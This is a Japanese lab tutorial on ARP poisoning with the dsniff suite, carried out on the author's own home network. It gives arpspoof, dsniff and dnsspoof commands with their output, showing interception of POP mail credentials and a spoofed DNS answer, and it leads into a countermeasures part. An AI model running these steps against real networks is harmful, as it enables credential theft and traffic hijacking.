ARP poisoning (実践編)

実際にdsniffによってARP poisoningを試行し,その様子を観察する.


スニッファツール群: dsniff

dsniffは様々な環境下でパスワードなどをスニフするためのツールコレクションで,そのなかに ARP poisoning を行なうためのツールも含まれている. dsniffには以下の様なツールが含まれる.

  • dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, webspy :

    トラフィックのパッシブな監視から面白いデータ (パスワード,メール内容など) を取得する.

  • arpspoof, dnsspoof, macof :

    arpspoof は ARP poisoning を行なう. dnsspoof は man-in-the-middle 環境で DNS 応答の偽造を行なう. macof は大量の MAC アドレスを偽造し,MAC Flooding 攻撃を仕掛ける. (一部のスイッチは MAC アドレスデータが溢れたときに馬鹿ハブになってしまう.)

  • sshmitm, webmitm :

    SSH/HTTP/HTTPS 通信に対する man-in-the-middle 攻撃ツール. 交換される鍵/証明書を偽造することで暗号通信の盗聴を成功させる. 自己認証局が蔓延っている現状では webmitm は現実の脅威となりうるだろう.

  • tcpkill : 偽の RST パケットを送り,対象ホストの TCP コネクションを強制切断する

  • tcpnice : TCP コネクションをスローダウンさせる

dsniff コマンド

dsniff は多くのプロトコル (FTP, SMTP, HTTP, POP, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, PPTP, MS-CHAP, NFS, YP/NIS, SOCKS, X11, CVS, IRC, ICQ, PostgreSQL, SMB, etc...) に対応したスニッファ.

# dsniff [options] [expression]
  • -c: 半二重 TCP ストリームの場合 (よくわからんが,arpspoof と併用するときはコレが必要)
  • -n: 名前解決を行なわない
  • -i <interface> : インターフェースを指定
  • -p <pcap_dump> : pcap 形式のダンプファイルを解析の対象にする
  • -s <len> : 各 TCP コネクションの最初の <len> バイトを解析対象とする (デフォルト 1024)
  • [expression] : スニフするトラフィックを絞りこむ tcpdump フィルタ

arpspoof コマンド

ARP 応答を偽造することによって,<target> ホストからの <host> ホストへの通信を 横取りできるようにする. <target> が特に指定されない場合は,LAN 内の全てのホストがターゲットとなる.

# arpspoof -i <interface> -t <target> <host>

イーサネットフレームを全部横取りしているだけでは通信が正常に行われなくなるので, 横取りしたフレームをフォワーディングしてやる必要がある. Linux の場合,以下のようにして ip_forwarding を有効にする.

# echo -n 1 > /proc/sys/net/ipv4/ip_forward

実験環境

実験を行なう際のネットワーク構成は以下の通り. 作業は特に明記の無い場合,攻撃者ホスト (192.168.0.7) 上で実行されることとする.

network

arpspoof による ARP poisoning

arpspoofコマンドを実行し,ARP poisoningを仕掛ける. ここでは「ホストKuro-Boxからゲートウェイ192.168.0.1への通信」を横取りする.

localhost:~# echo -n 1 > /proc/sys/net/ipv4/ip_forward
localhost:~# arpspoof -t kuro-box 192.168.0.1
8:0:46:b6:b:87 0:d:b:69:11:43 0806 42: arp reply 192.168.0.1 is-at 8:0:46:b6:b:87
8:0:46:b6:b:87 0:d:b:69:11:43 0806 42: arp reply 192.168.0.1 is-at 8:0:46:b6:b:87
.....
(Ctrl-C で終了)
0:30:13:77:d4:3a 0:d:b:69:11:43 0806 42: arp reply 192.168.0.1 is-at 0:30:13:77:d4:3a
0:30:13:77:d4:3a 0:d:b:69:11:43 0806 42: arp reply 192.168.0.1 is-at 0:30:13:77:d4:3a
0:30:13:77:d4:3a 0:d:b:69:11:43 0806 42: arp reply 192.168.0.1 is-at 0:30:13:77:d4:3a

"arpspoof: couldn't arp for host kuro-box" というエラーメッセージが出る場合は一回 -t <target> オプションを省略して実行すると,なぜか以降うまくいくようになる. -t <target>オプションを指定しない場合,偽 ARP 応答はブロードキャストアドレスに宛てて 発信される.

localhost:~# arpspoof 192.168.0.1
8:0:46:b6:b:87 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.0.1 is-at 8:0:46:b6:b:87

上記の実行ログを見れば分かるように,arpspoofは単に「アドレス <host> (ここでは192.168.0.1) を持つのは自分 (ここでは 8:0:46:b6:b:87) です」というARP応答を<target> (ここでは0:d:b:69:11:43) 宛てに連投しているに過ぎない.

この偽造ARP応答を受け取ったKuro-BoxホストのARPテーブルを確認してみる. 実際に対応するエントリが書き換わっていることがわかる.

KURO-BOX:~# arp
Address         HWtype  HWaddress           Flags Mask       Iface
192.168.0.1     ether   00:30:13:77:D4:3A   C                eth0
.....
(arpspoof を仕掛けられた後)
KURO-BOX:~# arp
Address         HWtype  HWaddress           Flags Mask       Iface
192.168.0.1     ether   08:00:46:B6:0B:87   C                eth0 

スイッチングハブ環境下での盗聴

arpspoofを実行した状態でdsniffを利用すると,トラフィックからパスワードなどの興味深い情報を自動的に見付け,整形して表示してくれる.

localhost:~# dsniff -c
dsniff: listening on eth0
-----------------
03/25/06 16:27:48 tcp Kuro-box.3257 -> pop.mail.yahoo.co.jp.110 (pop)
USER ********* (実際のアカウント名が表示される)
PASS ********* (実際のパスワードが表示される)

ということで,スイッチングハブ環境下で 問題なく盗聴が成功していることがわかる.

もちろん無線ステーションを介したスニッフィングも可能である. ちゃんと確かめてみよう. まず,攻撃者マシンを有線ネットワークから切り離し, 無線アクセスポイントを介してネットワークに参加させる. そして,インターフェースとして無線 NIC "ath0" を指定して arpspoof を実行する. このインターフェースの MAC アドレスは 00:02:8a:b9:05:7f である.

localhost:~# arpspoof -i ath0 -t kuro-box 192.168.0.1
0:2:8a:b9:5:7f 0:d:b:69:11:43 0806 42: arp reply 192.168.0.1 is-at 0:2:8a:b9:5:7f
.....

この状態で tcpdump なり dsniff を動かすと,有線 LAN 上にある kuro-box から 192.168.0.1 への通信がはっきりと見える.

localhost:~# tcpdump -i ath0
23:42:25.257949 IP Kuro-Box.4047 > pop.mail.yahoo.co.jp.pop3: . ack 1903127997 win 65535
23:42:25.257977 IP Kuro-Box.4047 > pop.mail.yahoo.co.jp.pop3: . ack 1 win 65535
.....

DNS 応答の偽造

man-in-the-middle 攻撃のもう一つの例として, DNS クエリを傍受し,場合によってはDNS 応答を偽造する攻撃を実行してみよう. これは既に紹介した,dnsspoof コマンドによって実現できる.

dnsspoof は偽造するクエリ/応答の情報を hosts ファイル風のファイルに あらかじめ用意しておく. 以下の実行ログでは,www.yahoo.co.jp を問い合わせるクエリに対し 203.131.197.197 (www.livedoor.com のアドレス) を応答するように, 設定ファイル /tmp/hosts を用意している.

localhost:~# arpspoof -t kuro-box 192.168.0.1
8:0:46:b6:b:87 0:d:b:69:11:43 0806 42: arp reply 192.168.0.1 is-at 8:0:46:b6:b:87
.....
                   
localhost:~# cat /tmp/hosts
# www.yahoo.co.jp の問い合わせに対して,
# 203.131.197.197 (www.livedoor.com) を返答する.
203.131.197.197 www.yahoo.co.jp
                      
localhost:~# dnsspoof -f /tmp/hosts
dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.0.7]
192.168.0.100.4199 > 192.168.0.1.53:  3+ A? www.yahoo.co.jp

実際に kuro-box にて nslookup コマンドを打ってみる.

KURO-BOX:~$ nslookup
> www.yahoo.co.jp
Server:         192.168.0.1
Address:        192.168.0.1#53
               
Non-authoritative answer:
Name:   www.yahoo.co.jp
Address: 203.216.243.218
Name:   www.yahoo.co.jp
Address: 203.216.235.201
Name:   www.yahoo.co.jp
Address: 203.216.231.160
Name:   www.yahoo.co.jp
Address: 203.216.227.176
Name:   www.yahoo.co.jp
Address: 202.93.91.151
Name:   www.yahoo.co.jp
Address: 203.216.247.249
Name:   www.yahoo.co.jp
Address: 203.216.247.225
             
(攻撃者は dnsspoof を実行)
> www.yahoo.co.jp
Server:         192.168.0.1
Address:        192.168.0.1#53
                
Non-authoritative answer:
Name:   www.yahoo.co.jp
Address: 203.131.197.197

この状態で kuro-box がブラウザで www.yahoo.co.jp にアクセスすると, もちろん www.livedoor.com が表示される.


ARP poisoning 利用した一連の攻撃は対象がWindowsであれLinuxであれ,驚く程簡単に成功する. 攻撃対象のホストに大きな変化を引き起こすことも無く,ぼんやりした管理者なら攻撃があったことに気づくことはないだろう.

対策編に続く.